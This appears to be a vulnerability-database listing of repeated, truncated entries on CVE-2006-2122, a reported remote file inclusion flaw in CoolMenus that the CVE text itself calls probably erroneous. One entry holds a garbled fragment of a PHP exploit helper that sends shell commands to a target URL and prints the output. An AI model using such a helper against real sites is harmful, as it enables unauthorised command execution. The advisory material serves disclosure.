EUVD-2006-2123

Malware in sbrugna...

coolmenus.txt

" ."target:" ."cmdshell:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$cmdshell, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos...

CVE-2006-2122

PHP remote file inclusion vulnerability in index.php in CoolMenus allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: the original report for this issue is probably erroneous, since CoolMenus does not appear to be written in PHP...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in CoolMenus allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: the original report for this issue is probably erroneous, since CoolMenus does not appear to be written in PHP...

CVE-2006-2122

CVE-2006-2122 describes a PHP remote file inclusion vulnerability in CoolMenus, where index.php is vulnerable to a URL-based page parameter that could allow remote code execution. The description notes that the original report may be erroneous because CoolMenus does not appear to be written in PH...

CVE-2006-2122

PHP remote file inclusion vulnerability in index.php in CoolMenus allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: the original report for this issue is probably erroneous, since CoolMenus does not appear to be written in PHP...

CoolMenus.txt

Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/coolmenus-event-remote-file-include.html ColMenus Event Remote File Include Vulnerability Website : http://coolmenus.dhtmlcentral.com/projects/coolmenus Closed Script : CoolMenus v4.0 Event Script Risk : High Class : Remote Greetz :...

[Kurdish Security #3] CoolMenus Event Remote File Include Vulnerability (For PHP)

Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/coolmenus-event-remote-file-include.html ColMenus Event Remote File Include Vulnerability Website : http://coolmenus.dhtmlcentral.com/projects/coolmenus Closed Script : CoolMenus v4.0 Event Script Risk : High Class : Remote Greetz :...

CoolMenus 4.0 - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17738/info CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious P...